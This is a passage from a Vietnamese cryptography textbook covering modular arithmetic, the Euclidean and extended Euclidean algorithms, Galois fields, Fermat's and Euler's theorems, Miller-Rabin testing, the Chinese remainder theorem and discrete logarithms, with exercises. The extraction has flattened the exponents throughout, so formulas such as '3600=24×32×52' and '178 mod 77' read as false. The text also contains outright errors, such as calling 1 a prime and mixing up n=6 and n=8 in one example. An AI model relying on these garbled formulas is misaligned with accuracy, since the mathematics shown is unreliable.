-7 -6 -5 -4 -3 -2 -1
0 1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31 32 33 34
...

Các phần tử cùng cột là có quan hệ đồng dư vói nhau. Tập các đại diện của các số
nguyên theo Modulo n gồm n phần tử ký hiệu như sau:
Zn = { 0, 1, 2, 3, …, n-1 }.
Ước số
o Số b không âm được gọi là ước số của a, nếu có số m sao cho: a = mb
trong đó a, b, m đều nguyên.
o Tức là a chia hết cho b, ký hiệu là b|a
o Ví dụ: 1, 2, 3, 4, 6, 8, 12, 24 là các ước số của 24

III.2.2 Các phép toán số học trên Modulo

Cho trước một số n. Ta muốn thực hiện các phép toán theo Modulo của n. Ta có
thể thực hiện các phép toán trên các số nguyên như các phép cộng, nhân các số
nguyên thông thường sau đó rút gọn lại bằng phép lấy Modulo hoặc cũng có thể
vừa tính toán, kết hợp với rút gọn tại bất cứ thời điểm nào:
(a+b) mod n = [a mod n + b mod n] mod n (*)

(a.b) mod n = [a mod n . b mod n] mod n (**)

Như vậy khi thực hiện các phép toán ta có thể thay các số bằng các số tương
đương theo Modulo n đó hoặc đơn giản hơn có thể thực hiện các phép toán trên
các đại diện của nó: Zn = { 0, 1, 2, 3, …, n-1 }.
o Zn với các phép toán theo Modulo tạo thành vành giao hoán có đơn vị. Thực
vậy tính đóng của các phép cộng và nhân dựa trên hai công thức (*) và (**).
 - 31 -
Các tính chất kết hợp, giao hoán và nghịch đảo được suy ra từ các tính chất
tương ứng của các số nguyên.
o Các chú ý về tính chất rút gọn:
 nếu (a+b)≡(a+c) mod n, thì b≡c mod n
 Nhưng (ab)≡(ac) mod n, thì b≡c mod n chỉ khi nếu a là nguyên tố
cùng nhau với n

Ví dụ. Áp dụng các tính chất của modulo:

17
(11*19 + 10 ) mod 7 =
17
((11*19) mod 7 + 10 mod 7) mod 7 =
17
((11 mod 7* 19 mod 7) mod 7 + (10 mod 7) mod 7) mod 7=
2222
((4.(-2)) mod 7 + (((3 ) ) ) * 3 mod 7)mod 7=
222
((-1) mod 7 + ((2 ) ) * 3 mod 7)mod 7 =
(-1 + 5) mod 7 =
4

Ví dụ: Bảng Modulo 8 với phép cộng

III.2.3 Ước số chung lớn nhất.

• Bài toán. Cho hai số nguyên dương a và b. Bài toán tìm ước chung lớn nhất của
hai số nguyên dương là bài toán chung của lý thuyết số. Ta ký hiệu GCD(a,b) là
 - 32 -
ước số chung dương lớn nhất của a và b, tức là số nguyên dương vừa là ước của a
vừa là ước của b và là số nguyên dương lớn nhất có tính chất đó.
Ví dụ: GCD(60,24) = 12 ; GCD (6, 15) = 3; GCD(8, 21) = 1.

• Nguyên tố cùng nhau. Ta thấy 1 bao giờ cũng là ước số chung của hai số nguyên
dương bất kỳ. Nếu GCD(a, b) = 1, thì a, b đựơc gọi là hai số nguyên tố cùng
nhau:
Ví dụ: GCD(8,15) = 1, tức là 8 v à 15 là hai số nguyên tố cùng nhau

• Tìm ước chung lớn nhất. Bây giờ chúng ta xét bài toán tìm ước số chung lớn
nhất của hai số nguyên dương cho trước. Dễ dàng chứng minh được tính chất sau:
GCD(a,b) = GCD(b, a mod b)

Như vậy để tìm ước số chung của một cặp số cho trước, ta đưa về bài toán tìm ước
chung của cặp số gồm số nhỏ hơn trong hai số đó và phần dư của số lớn khi chia cho
số nhỏ hơn. Thuật toán Ơcơlít tạo nên vòng lặp, ở mỗi bước ta áp dụng tính chất trên
cho đến khi phần dư đó còn khác 0.
•
• Thuật toán Ơcơlit tìm GCD(a, b)
A=a, B=b
while B>0
•R = A mod B
A = B, B = R
return A
Ví dụ: GCD(1970,1066)
1970 = 1 x 1066 + 904 gcd(1066, 904)
1066 = 1 x 904 + 162 gcd(904, 162)
904 = 5 x 162 + 94 gcd(162, 94)
162 = 1 x 94 + 68 gcd(94, 68)
94 = 1 x 68 + 26 gcd(68, 26)
68 = 2 x 26 + 16 gcd(26, 16)
26 = 1 x 16 + 10 gcd(16, 10)
16 = 1 x 10 + 6 gcd(10, 6)
10 = 1 x 6 + 4 gcd(6, 4)
6 = 1 x 4 + 2 gcd(4, 2)
4 = 2 x 2 + 0
gcd(1970, 1066) = 2

III.3 Trường Galoa

Ta muốn đi tìm một trường số có hữu hạn các phần tử, tức là một tập hữu hạn các
phần tử mà ở đó có thể cộng trừ, nhân, chia mà không vượt ra ngoài phạm vi tập hữu
hạn các phần tử đó. Trường Galoa thuộc lọai đó và đóng vai trò quan trọng trong lý
thuyết mã
 - 33 -
.
Có thể chứng minh được rằng số các phần tử của trường hữu hạn bất kỳ bằng lũy thừa
của pm của sô nguyên tố p nào đó, ta ký hiệu
trường Galoa đó là GL(pm). Thông t
hường ta sử dụng các trường: GL(p) và GL(2m).

Sau đây chúng ta sẽ xây dựng các trường Galoa đó.

III.3.1 Trường Galoa GL(p), với p là số nguyên tố.

o GL(p) gồm tập {0,1, … , p-1}

o Với các phép toán cộng và nhân Modulo, như ta đã biết GL(p) tạo thành
một vành giao hoán. Vì p là số nguyên tố nên mọi số khác 0 nhỏ hơn p
đều nguyên tố cùng nhau với p.

• GL(p) tạo thành trường vì mọi a thuộc {1, … , p-1} đều có phần tử nghịch đảo a-
1
: a . a-1 = 1. Thực vậy vì a và p nguyên tố cùng nhau nên theo thuật toán tìm
nghịch đảo dưới đây ta sẽ tìm được nghịch đảo của a.

Như vậy trên GL(p) ta có thể thực hiện các phép toán cộng, trừ, nhân, chia.

Ví dụ phép nhân trên GL(7)

III.3.2 Tìm số nghịch đảo

Bây giờ ta xét bài toán: nếu GCD(m, b) = 1, thì tìm nghịch đảo của b theo Modulo m.
Ta mở rộng thuật toán Ơcơlit vừa tìm ước chung lớn nhất của m và b, vừa tính nghịch
đảo trong trường hợp GCD(m, b) = 1.
Thuật toán Euclid mở rộng:
 - 34 -
EXTENDED EUCLID(m, b)
1.(A1, A2, A3)=(1, 0, m);
(B1, B2, B3)=(0, 1, b)
2. if B3 = 0
return A3 = gcd(m, b); no inverse
3. if B3 = 1
return B3 = gcd(m, b); B2 = b–1 mod m
4. Q = A3 div B3
5. (T1,T2,T3)=(A1 – Q*B1,A2 – Q*B2, A3 – Q*B3)
6. (A1, A2, A3)=(B1, B2, B3)
7. (B1, B2, B3)=(T1, T2, T3)
8. goto 2
Thực vậy, các quan hệ sau là bất biến:
mA1 + bA2 = A3; (1)
mB1+ bB2 = B3 (2)
mT1 + bT2 = T3; (3)
Vì ban đầu: m.1 + b.0 = m; m.0 +b.1 = b, nên ta có (1) và (2) đúng. Và ta chứng
minh trong một bước lặp từ (1) và (2) suy ra (3). Từ thuật toán ta có :
T1 = A1 – Q.B1
T2 = A2 – Q.B2
T3 = A3 – Q.B3
Nên ta sẽ chứng minh đẳng thức (3) còn lại
mT1 + bT2 = m(A1 – Q.B1) + b (A2 – Q.B2)
= (mA1 + bA2) - Q(mB1+ bB2)
= A3 – Q.B3
= T3
Khi sang bước lặp tiếp theo đổi vai trò B sang A và T sang B, thì các công thức đối
(1) và (2) đối với A, B sẽ đúng, và do đó theo chứng minh trên (3) sẽ đúng trong bước
lặp tiếp theo. Vậy (1), (2), (3) là các bất biến của vòng lặp.
Cuối cùng khi B = 1, thì từ các bất biến ta có:
3
mB1+ bB2 = 1
bB2 = 1- mB1
bB2 = 1 mod m
-1
Do đó: B2 = b mod m

Ví dụ. Tìm nghịch đảo của 550 trong GL(1759).

Mỗi bước thực hiện thuật toán Ơcơlit mở rộng sẽ được mô tả bởi một hàng trong bảng
sau.
 - 35 -

Sau 4 bước. ta có B3 = 1, khi đó thuật toán dừng, GCD(1759, 550) = 1 và 550-1 mod
1759 = 355.

III.3.3 Số học đa thức

Ta xét tập các đa thức Pn có bậc nhỏ hơn hoặc bằng n:

Trên tập các đa thức đó ta có thể có một số cách khác nhau thực hiện các phép toán
cộng và nhân đa thức:
o Có thể thực hiện các phép toán thông thường trên đa thức
o Các phép toán trên đa thức với các hệ số trên Modulo p
o Các phép toán trên đa thức với các hệ số trên Modulo p và sau đó lầy
Modulo theo đa thức m(x)
• Phép toán đa thức thông thường
o Cộng trừ các hệ số tương ứng
o Nhân mọi hệ số với cùng một số.
Ví dụ. f(x) = x3 + x2 + 2 và g(x) = x2 – x + 1
f(x) + g(x) = x3 + 2x2 – x + 3
f(x) – g(x) = x3 + x + 1
f(x) . g(x) = x5 + 3x2 – 2x + 2
• Phép toán đa thức với Modulo hệ số
o Cho số nguyên tố p tùy ý
o Tính các hệ số theo Modulo p. Khi đó tập các hệ số được lấy từ trường
GL(p). Còn phép nhân đa thức có thể nhận được kết quả là đa thức bậc lớn
hơn n.
o Ta thường quan tâm đến Mod 2, tức là mọi hệ số là 0 hoặc 1
Giả sử f(x) = x3 + x2 and g(x) = x2 + x + 1
f(x) + g(x) = x3 + x + 1
f(x) . g(x) = x5 + x2
 - 36 -
Sau đây ta xét riêng trường hợp khi các phép tóan cộng, nhân đa thức được thực
hiện với phép lấy Modulo theo một đa thức nào đó.

III.3.4 Phép toán đa thức với Modulo đa thức

• Cho đa thức g(x) bậc n và các hệ số của các đa thức xét trong mục này lầy trong
trường Galoa GF(p) với p là số nguyên tố. Viết đa thức f(x) dưới dạng:
f(x) = q(x) g(x) + r(x)
trong đó r(x) là phần dư khi chia f(x) cho g(x). Rõ ràng bậc của r(x) sẽ nhỏ hơn
bậc của g(x).
Ta viết r(x) = f(x) mod g(x)

• Nếu không có phần dư, tức là r(x) = 0, ta nói g(x) là ước của f(x) hay g(x) chia
hết f(x) hay f(x) chia hết cho g(x).

• Trong trường hợp g(x) không có ước ngoài 1 và chính nó, thì ta nói g(x) là đa
thức nguyên tố hoặc không rút gọn được. Ví dụ g(x) = x3 + x + 1 là đa thức
nguyên tố.
• Việc tìm ước chung lớn nhất của hai đa thức được trình bày trong thuật toán
tương tự như Ơcolit như sau:

Tìm đa thức ước chung lớn nhất GCD(a(x), b(x))

o c(x) = GCD(a(x), b(x)) nếu c(x) là đa thức bậc lớn nhất mà chia hết
cả a(x), b(x)
o Có thể điều chỉnh thuật toán Euclid’s Algorithm để tìm nó:
EUCLID[a(x), b(x)]
1. A(x) = a(x); B(x) = b(x)
2. if B(x) = 0 return A(x) = gcd[a(x), b(x)]
3. R(x) = A(x) mod B(x)
4. A(x) ¨ B(x)
5. B(x) ¨ R(x)
6. goto 2
Thuật toán tìm nghịch đảo của một đa thức theo một đa thức nguyên tố cùng nhau với
nó, được trình bày tương tự như Ơcolit mở rộng.
• Phép toán đa thức với Modulo đa thức.
Cho g(x) là đa thức nguyên tố bậc n. Khi đó tập các đa thức bậc nhỏ hơn bằng n với
các phép toán cộng và nhân đa thức theo Modulo của đa thức nguyên tố g(x) tạo
thành trường hữu hạn, gọi là trường Galoa và ký hiệu là GL(pn).
Sau đây ta xét trường GF(2n), tức là xét tập các đa thức với các hệ số Modulo 2 và bậc
nhỏ hơn bằng n và phép toán nhân có thể rút gọn theo Modulo của đa thức g(x)
nguyên tố bậc n. Có thể tìm được nghịch đảo nhờ thuật toán Euclide mở rộng.
Tuy nhiên để thuận tiện trong việc biểu diễn đa thức, ta sẽ xây dựng song ánh từ tập
các đa thức bậc nhỏ hơn n vào các dãy n bit là dãy các hệ số thể hiện sự có mặt của
các lũy thừa tương ứng, và xây dựng các phép toán cộng và nhân các dãy bit sao cho
nhận được kết quả tương tự như cộng và nhân các đa thức tương ứng cùng với việc
rút gọn theo đa thức nguyên tố. Để đơn giản ta minh họa qua ví dụ cụ thể trên GL(23).
 - 37 -

Ví dụ GF(23)

• Bảng trên có thể xây dựng bằng cách tính trực tiếp trên các phép toán cộng và
nhân đa thức sau đó lấy Modulo theo đa thức nguyên tố x3 + x + 1.

• Tuy nhiên có thể thực hiện các phép toán trên dãy 3 bit như sau;

o Vì các hệ số là 0, 1 nên các đa thức có thể biểu diễn như các xâu bit

o Phép cộng hai đa thức trở thành XOR (cộng cơ số 2) trên các xâu bit tương
ứng với hai đa thức đó.

o Nhân một đa thức với x trở thành Shift

sang trái 1 đơn vị của dãy . bit tương ứng với đa thức đó.
o Phép tính Modulo theo đa thức nguyên tố của một đa thức cùng bậc n được
thực hiện bằng cách tính hiệu hay cũng là tổng của hai đa thức đó, mà đó cũng
chính là lấy dãy bit của đa thức đó XOR với dãy bit của đa thức nguyên tố
o .
o

o
o Phép nhân và tính Modulo được kết hợp bằng phép lặp giữa Shìt và XOR.

3 2
Ví dụ. Trong GF(2 ) ta có (x +1) tương ứng dãy bít 1012 và
 - 38 -
2
(x +x+1) tương ứng với dãy 1112
• Tổng hai đa thức trên là
(x2+1) + (x2+x+1) = x
101 XOR 111 = 0102
• Tích của hai đa thức là
(x+1).(x2+1) = x.(x2+1) + 1.(x2+1)
= x3+x+x2+1 = x3+x2+x+1
011.101 = (101)<<1 XOR (101)<<0
= 1010 XOR 101 = 11112
• Phép rút gọn theo Modulo là
(x3+x2+x+1 ) mod (x3+x+1) = (x3+x2+x+1 ) - (x3+x+1 )
= x2
1111 mod 1011 = 1111 XOR 1011 = 01002

Như vậy trường Galoa GL(2n) bao gồm 2n phần tử. Muốn trường Galoa có số phần tử
lớn tuỳ ý, ta chỉ việc tăng và lấy n thích hợp. Đặc biệt việc tính toán các phép toán
cộng trừ, nhân, chia trên đó rất nhanh và hiệu quả trên các thao tác của các thiết bị
phần cứng. Chính vì vậy trường Galoa đóng vai trò quan trọng trong lý thuyết mã mà
chúng ta sẽ thấy rõ qua các chương tiếp theo.

III.4 Giới thiệu lý thuyết số

III.4.1 Các số nguyên tố

Như chúng ta đã biết số nguyên tố là các số nguyên dương chỉ có ước số là 1 và chính nó.
Chúng không thể được viết dưới dạng tích của các số khác. 1 là số nguyên tố, nhưng
không quan tâm đến nó. Xét các số nhỏ hơn 10 ta có: 2, 3, 5, 7 là số nguyên tố, vì chúng
không có ước số khác 1 và chính nó; 4, 6, 8, 9, 10 không phải là số nguyên tố. Có thể nói
2 là số chẵn duy nhất là số nguyên tố. Các số nguyên tố là trung tâm của lý thuyết số. Số
các số nguyên tố là vô hạn.

Ví dụ. Sau đây là danh sách các số nguyên tố nhỏ hơn 200:
2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73
79 83 89 97 101 103 107 109 113 127 131 137 139 149 151 157
163 167 173 179 181 191 193 197 199

III.4.2 Phân tích ra thừa số nguyên tố

Một trong những bài toán cơ bản của số học là phân tích ra thừa số nguyên tố số a, tức là
viết nó dưới dạng tích của các số nguyên tố. Lưu ý rằng phân tích là bài toán khó hơn rất
nhiều so với bài toán nhân các số để nhận được tích.
 - 39 -
Ta có kết luận, mọi số nguyên dương đều có phân tích duy nhất thành tích các lũy thừa
của các số nguyên tố:

Ví dụ: 91=7×13; 3600=24×32×52

Thông thường để tìm phân tích trên, ta phải kiểm tra tính chia hết cho các số nguyên tố từ
nhỏ đến lớn và thực hiện phép chia liên tiếp cho các số nguyên tố, rồi gộp thành lũy thừa
của các số nguyên tố.

III.4.3 Các số nguyên tố cùng nhau và GCD

Hai số nguyên dương a và b không có ước chung nào ngoài 1, được gọi là nguyên tố cùng
nhau.
Ví dụ: 8 và 15 là nguyên tố cùng nhau, vì ước của 8 là 1, 2, 4, 8, còn ước của 15 là 1, 3,
5, 15. Chỉ có 1 là ước chung của 8 và 15.
Ngược lại có thể xác định ước chung lớn nhất bằng cách trong các phân tích ra thừa số
của chúng, tìm các thừa số nguyên tố chung và lấy bậc lũy thừa nhỏ nhất trong hai phân
tích của hai số đó.
Ví dụ. Ta có phân tích: 300=21×31×52 và 18=21×32. Vậy
GCD(18,300)=21×31×50=6

III.4.4 Định lý Ferma (Định lý Ferma nhỏ)

ap-1 mod p = 1

trong đó p là số nguyên tố và a là số nguyên bất kỳ khác bội của p: GCD(a, p) = 1.

Hay với mọi số nguyên tố p và số nguyên a không là bội của p, ta luôn có
ap = a mod p
Công thức trên luôn đúng, nếu p là số nguyên tố, còn a là số nguyên dương nhỏ hơn p.

Ví dụ. Vì 5 và 7 là các số nguyên tố. 2 và 3 không là bội tương ứng của 7 và 5, nên theo
định lý Ferma ta có
27-1 mod 7 = 1 (= 26 mod 7 = 64 mod 7= 1)
35-1 mod 5 = 1 (= 34 mod 5 = 81 mod 5= 1)
(-2)11-1 mod 11 = 1 (= 210 mod 11 = 1024 mod11 = 1)
Kết quả trên được dùng trong khoá công khai. Nó cùng được sử dụng để kiểm tra tính
nguyên tố của một số nguyên p nào đó, bằng cách lấy ngẫu nhiên các số a và kiểm tra
xem có tính chất nêu trên không, kết luận là p nguyên tố càng thuyết phục nếu phép thử
trên đúng với nhiều lần chọn ngẫu nhiên các số a.

III.4.5 Hàm Ole

Cho n là một số nguyên dương. Khi thực hiện phép tính đồng dư n của mọi số nguyên
khác ta nhận được tập đầy đủ các phần dư có thể có là:
0, 1, 2,…, n-1
 - 40 -
Từ tập trên ta tìm tập rút gọn bao gồm các số nguyên tố cùng nhau với n và quan tâm đến
số lượng các phần tử như vậy đối với số nguyên dương n cho trước.
Ví dụ. Với n = 10:
o Tập đầy đủ các phần dư là {0,1,2,3,4,5,6,7,8,9}

o Tập rút gọn các phần dư nguyên tố với 10 là {1,3,7,9}

o Số các phần tử của tập rút gọn trên là giá trị của hàm Ole Ф(n). Như vậy,
Ф(10) = 4.
• Muốn tính Ф(n) việc đếm số các số ngưyên tố cùng nhau với n và nhỏ hơn n được
loại bỏ vì đây là bài toán tốn nhiều công sức.
• Nói chung có thể tính hàm Ơle của một số dựa trên biểu thức phân tích ra thừa số của
số đó.
o Dễ dàng thấy, nếu p là số nguyên tố Ф(p) = p-1

o Nếu p và q là hai số nguyên tố khác nhau, thì

o có thể chứng minh được rằng:
o Ф(p.q) = (p-1)(q-1)

o Nếu p là số nguyên tố, thì Ф(pn) = pn-pn-1

o Nếu s và t là hai số nguyên tố cùng nhau, thì Ф(s.t) =
Ф(s).Ф(t)
Vi dụ.
Ф(37) = 37 – 1 = 36
Ф(21) = (3–1)×(7–1) = 2×6 = 12
Ф(72) = Ф(8.9) = Ф(8). Ф(9) = Ф(23).Ф(32) =
= (23-22)(32-31) = 4.6 = 24

III.4.6 Định lý Ole

Định lý Ole là tổng quát hoá của Định lý Ferma

aФ(n)mod n = 1

với mọi cặp số nguyên dương nguyên tố cùng nhau a và n: gcd(a,n)=1.

Ví dụ. a = 3; n = 10; Ф(10)=4;

Vì vậy 34 = 81 = 1 mod 10
a = 2; n =11; Ф(11)=10;
Do đó 210 = 1024 = 1 mod 11

III.4.7 Kiểm tra tính nguyên tố

 - 41 -
Giả sử cần phải tìm một số nguyên tố rất lớn. Lấy ngẫu nhiên một số đủ lớn, ta cần phải
kiểm tra xem số đó có phải là số nguyên tố không. Phương pháp truyền thống là thử bằng
phép chia như sau:
o Chia cho tất cả các số (chỉ cần nguyên tố) nhỏ hơn hoặc bằng căn bậc hai của
số đó. Nếu nó không chia hết cho số nào, thì đó là số nguyên tố.
o Chỉ hiệu quả khi xét các số nhỏ.
Có phương pháp khác, mà ta sẽ xét ở đây, sử dụng các phép kiểm tra tính nguyên tố
thống kê dựa trên các tính chất
o Mà mọi số nguyên tố phải thỏa mãn
o Nhưng có một số số không nguyên tố, gọi là giả nguyên tố cũng thoả mãn tính
chất đó.
Cụ thể là phép kiểm tra dựa trên Định lý Ferma như sau: nếu số n cần kiểm tra tính
nguyên tố là số nguyên tố, thì nó sẽ thoã mãn định lý Ferma đối với mọi số a nhỏ hơn nó
an-1 mod n = 1. Như vậy, lấy ngẫu nhiên số a và kiểm tra xem nó có tính chất trên không.
Nếu có thì n có thể là số nguyên tố, nếu cần độ tin cậy lớn hơn, thì ta kiểm tra liên tiếp
nhiều lần như vậy với các số ngẫu nhiên a được chọn. Sau mỗi lần qua được phép thử,
xác suất để n là số nguyên tố lại tăng lên. Chú ý rằng
- nếu bi mod n = 1,
thì b2i mod n = (1)2 mod n = 1 và
- nếu bi mod n = n – 1,
thì b2i mod n = (n - 1)2 mod n = (n2 – 2n +1) mod n = 1
Kiểm tra số n có là số nguyên tố không, ta chỉ cần xét n là lẻ, khi đó n-1 là chẵn và biểu
diễn nó dạng (n–1)= 2k.q
Khi đó để tính an-1, ta tính aq, sau đó bình phương liên tiếp k lần.

Thuật toán Miller - Rabin

• Thuật toán như sau:
TEST (n) is:
1. Find integers k, q, k > 0, q odd, so that (n–1)= 2k.q
2. Select a random integer a, 1<a<n–1
3. if aq mod n = 1 then return (“maybe prime");
4. for j = 0 to k – 1 do
5. if (a2jq mod n = n-1)
then return(" maybe prime ")
1. return ("composite")

Các xem xét về mặt xác suất

Nếu thuật toán Miller Rabin trả về số “composite” thì số đó chắc chắn không là số
nguyên tố, vì khi đó số n và số a < n không thoả mãn định lý Fecma, tức là a n-1 mod n ≠
1.
Ngược lại số đó có thể là số nguyên tố hoặc giả nguyên tố theo nghĩa nó thoả mãn định lý
Fecma với số a < n. Người ta chứng minh được rằng xác suất để số giả nguyên tố đó
không là số nguyên tố là là ¼. Suy ra nếu lặp t phép thử với các lựa chọn ngẫu nhiên
khác nhau của số a, thì khi đó xác suất để số n sau t phép thử là số nguyên tố là: 1-(1/4)t
 - 42 -
Ví dụ. Sau 10 bước, t = 10, mà số đã cho n đều có thể là nguyên tố, thì xác suất để n là
số nguyên tố là 1 – (1/4)10 > 0.99999.

Phân bố nguyên tố.

Định lý về số nguyên tố khẳng định số nguyên tố xuất hiện trung bình sau mỗi khoảng ln
n số nguyên (nếu xét các số trong kích thước n). Như vậy bỏ qua số chẵn và các bội số
của 5, ta cần kiểm tra 0.4ln n số trong kích thước n để tìm được 1 số nguyên tố. Chẳng
hạn n=1024, thì 0.4*ln 1024 = 0.4*10 = 4, nghĩa là trong 1024 số đầu, thì trung bình cứ 4
số lại có một số nguyên tố. Lưu ý đây chỉ là trung bình, vì có lúc các số nguyên rất gần
nhau và có lúc lại rất xa nhau.

III.4.8 Định lý phần dư Trung Hoa

Trong nhiều trường hợp ta muốn tìm cách để tăng tốc độ tính toán Modulo. Các phép
toán trên modulo các số nhỏ tính nhanh nhiều so với các số lớn. Chính vì vậy nếu số lớn
phân tích được thành tích của các số nhỏ, từng cặp nguyên tố cùng nhau, thì ta sẽ có cách
tính hiệu quả nhờ vào định lý Phần dư Trung hoa.
Tính toán trên modulo của một tích các số mod M với M= m1m2..mk
, trong đó GCD(mi, mj) = 1, với mọi i khác j. Định lý phần dư Trung Hoa cho phép làm
việc trên từng modulo mi riêng biệt. Vì thời gian tính toán các phép toán trên modulo tỷ
lệ với kích thước của số lấy modulo nên điều đó sẽ nhanh hơn tính toán trên toàn bộ M.

Có thể triển khai Định lý Trung Hoa theo một số cách như sau:

• Tính toán theo modulo số lớn. Để tính A mod M, với M khá lớn và A là biểu thức
số học nào đó. Trước hết ta cần tính tất cả ai = A mod mi. Sau đó sử dụng công thức

trong đó Mi = M/mi

Ví dụ. Tính 178 mod 77. Áp dụng định lý phần dư Trung hoa, ta coi A = 1718, m1 = 7,
m2 = 11. Khi đó M1 = 11, M2 = 7 và
11-1 mod 7 = 4-1 mod 7 = 2, suy ra c1 = 11*2 = 22
7-1 mod 11 = 8, suy ra c2 = 7*8 = 56
a1 = 178 mod 7 = (17 mod 7)8 mod 7 = 38 mod 7 = (32)4 mod 7 = 2
a2 = 178 mod 11 = (17 mod 11)8 mod 11 = 68 mod 11 =
= (62)4 mod 11 = 34 mod 11 = 4
8
Vậy A = 17 mod 77 = (2*22 + 4*56) mod 77 = 268 mod 77 = 37 mod 37

• Giải hệ phương trình modulo. Cho ai = x mod mi, với GCD(mi, mj) = 1, với mọi i
khác j. Khi đó ta cũng áp dụng Định lý phần dư Trung Hoa để tìm x.
Ví dụ. Cho x ≡ 5 mod 7 và x ≡ 6 mod 11. Tìm x.
 - 43 -
Áp dụng định lý phần dư Trung hoa, ta tính:
7-1 mod 11 = 8 và 11-1 mod 7 = 2. Như vậy
x = (5*2*11 + 6*8*7) mod (7*11) = 61 mod 77.

III.4.9 Căn nguyên tố

Từ Định lý Ole ta có aФ(n)mod n=1, với a và n là nguyên tố cùng nhau. Nếu không
có số mũ dương nào nhỏ hơn Ф(n), mà có tính chất như vậy đối với a, thì khi đó ta gọi a
là căn nguyên tố của n. Cụ thể như sau:

• Xét m để am mod n = 1, GCD(a,n)=1

Theo Định lý Ơle ta có m = Ф(n) thỏa mãn hệ thức trên, nhưng có thể cũng có giá trị
nhỏ hơn của m < Ф(n) cũng thoả mãn.
Khi đạt được m như vậy, thì nó cũng thoả mãn với bội của m, tức là sẽ có vòng lặp.

• Nếu giá trị m = Ф(n) là số dương nhỏ nhất thoả mãn công thức trên thì a được
gọi là căn nguyên tố của n.

• Nếu p là số nguyên tố và a là căn nguyên tố của p, thì các luỹ thừa của a:
a0, a1, …, ap-2 sẽ sinh ra nhóm modulo p.

Việc tìm các căn nguyên tố a của n sẽ có ích trong việc xét mã công khai.
Ví dụ. Xét số nguyên tố p = 5 và xét xem a = 2 có phải là căn nguyên tố của 5 không?
Ta có:
2 mod 5 = 2; 22mod 5 = 4; 23mod 5 = 3; 24mod 5 = 1
Rõ ràng m= 4= Ф(5) là số mũ dương nhỏ nhất có tính chất 2m mod 5 = 1, nên 2 là căn
nguyên tố của 5.
• Xét số n = 6 và xét xem a = 3 có phải là căn nguyên tố của 3 không?
Ta có
3 mod 8 = 3; 32mod 8 = 1; 33mod 8 = 3; 34mod 8 = 1
Rõ ràng m= 2 < 4 = Ф(8) là số mũ dương nhỏ nhất có tính chất 3m mod 8 = 1, nên 3
không là căn nguyên tố của 8.
III.4.10 Logarit rời rạc
Bài toán ngược của bài toán lũy thừa là tìm logarit rời rạc của một sô modulo p, tức là
tìm số nguyên x sao cho
ax = b mod p
Hay còn được viết là x=logab mod p hoặc x=inda,p(b)

Nếu a là căn nguyên tố của p và p là số nguyên tố, thì luôn luôn tồn tại logarit rời rạc,
ngược lại thì có thể không

Ví dụ. Tìm x = log2 3 mod 13. Bằng cách thử lần lượt:
 - 44 -
20 mod 13 = 1; 21 mod 13 = 2, 22 mod 13 = 4, 23 mod 13 = 8, 24 mod 13 = 3.
Vậy log2 3 mod 13 = 4.
Tìm x = log3 4 mod 13 (tìm x: 3x = 4 mod 13). Trong trường hợp này không có lời
giải, vì
30 mod 13 = 1; 31 mod 13 = 3; 32 mod 13 = 9; 33 mod 13 = 1= 30 mod 13
Ta nhận thấy, trong khi bài toán lũy thừa là dễ dàng, thì bài toán logarit rời rạc là rất
khó. Đây cũng là một cơ sở của mã công khai.

Bài tập.

1. Chứng tỏ rằng tập các số nguyên với phép cộng hai số nguyên tạo thành nhóm
giao hoán.Chứng tỏ rằng tập các số nguyên với phép cộng hai số nguyên và phép
nhân hai số nguyên tạo thành vành giao hoán. nhóm giao hoán. Hỏi vành đó có
tạo thành miền nguyên hay trường không.
2. Chứng tỏ rằng tập các phần dư khi chia cho n, Zn với hai phép toán và nhân theo
modulo n tạo thành vành giao hoán. Với n thỏa mãn điều kiện gì, thì vành đó là
trường.
3. Tính giá trị các biểu thức theo modulo sau:
• 8 mod 9 + 7 mod 9
• 8 mod 9 * 7 mod 9
• 5 mod 11 – 9 mod 11
• 53 mod 7
• 520 mod 7
• 5/6 mod 7
4. Tính giá trị các biểu thức theo modulo sau
• (-546) mod 13 - 347 mod 11
• (1234 + 2345) mod 17
• (213 * 345) mod 19
• 15-1 mod 101
• 41-1 mod 100
• 1435 mod 11
• (235*126/13) mod 19
• 31130 mod 23
• (23525 /17 + 12619. 397 /13) mod 29

5. Cài đặt thuật toán Ocolit mở rộng

6. Biểu diễn phép nhân đa thức với hệ số theo mod 2 và theo module đa thức sau (x3
+ x + 1) (gọi là GL(23):
• (x + 1) * (x2 + x + 1) mod (x3 + x + 1)
• x2 * (x2 + x + 1) mod (x3 + x + 1)
 - 45 -

• (x2 + 1) * (x2 + x + 1) mod (x3 + x + 1)

• (x2 + x + 1) * (x2 + x + 1) mod (x3 + x + 1)
dưới dạng các phép toán shift và XOR của bit
7. Chứng tỏ GL(23) là một trường, nêu thuật toán tìm các phần tử nghịch đảo theo
phép nhân của các phần tử khác 0.
8. Tính hàm Ơle của các số nguyên sau:
• 12, 17, 21, 32, 36, 40, 72, 256.
8 Dùng Định lý Ferma và Định lý Ole tính các biểu thức sau
• 616 mod 17; 1516 mod 17; 95100 mod 101
• 74 mod 10; 95 mod 10; 1012 mod 21; 9190 mod 100;
9 Cài đặt chương trình kiểm tra số giả nguyên tố
10 Giải các phương trình modulo sau
• x mod 11 = 3; x mod 13 = 6
• y mod 51 = 11; y mod 100 = 15
• z mod 12 = 5; z mod 17 = 8; z mod 23 = 11.
11 Sử dụng định lý phần dư Trung Hoa tính giá trị các biểu thức sau
• 2530 mod (7*8)
• 70254 mod (11*13)
• 60-1 mod (11*13)
• ((21100 + 33-1). 4551) mod (7.9.11)
• ((19125 + 2551)4721 /37 mod (9.11.13)
12 Tìm các căn nguyên tố của 9, 11
13 Tìm các căn nguyên tố của 13 và 17.
14Tính logarit rời rạc sau, nếu có:
• Log3 7 mod 11, Log2 9 mod 11
• Log5 6 mod 13, Log3 7 mod 13
• Log2 15 mod 17, Log3 11 mod 17
 - 46 -
CHƯƠNG IV:
CHUẨN MÃ DỮ LIỆU (DES) VÀ CHUẨN MÃ NÂNG CAO (AES)
IV.1 Mã khối hiện đại
Bây giờ chúng ta xét các mã khối hiện đại. Đây là kiểu mã được sử dụng rộng rãi nhất
của các thuật toán mã hoá. Đồng thời nó cũng được sử dụng kết hợp với các thủ tục khác
nhằm cung cấp các dịch vụ an toàn và xác thực.
Trước hết chúng ta tập trung vào chuẩn mã dữ liệu DES (Data Encryption Standards) để
minh hoạ cho các nguyên lý mã khối. Trước hết chúng ta xét hai kiểu xử lý thông tin
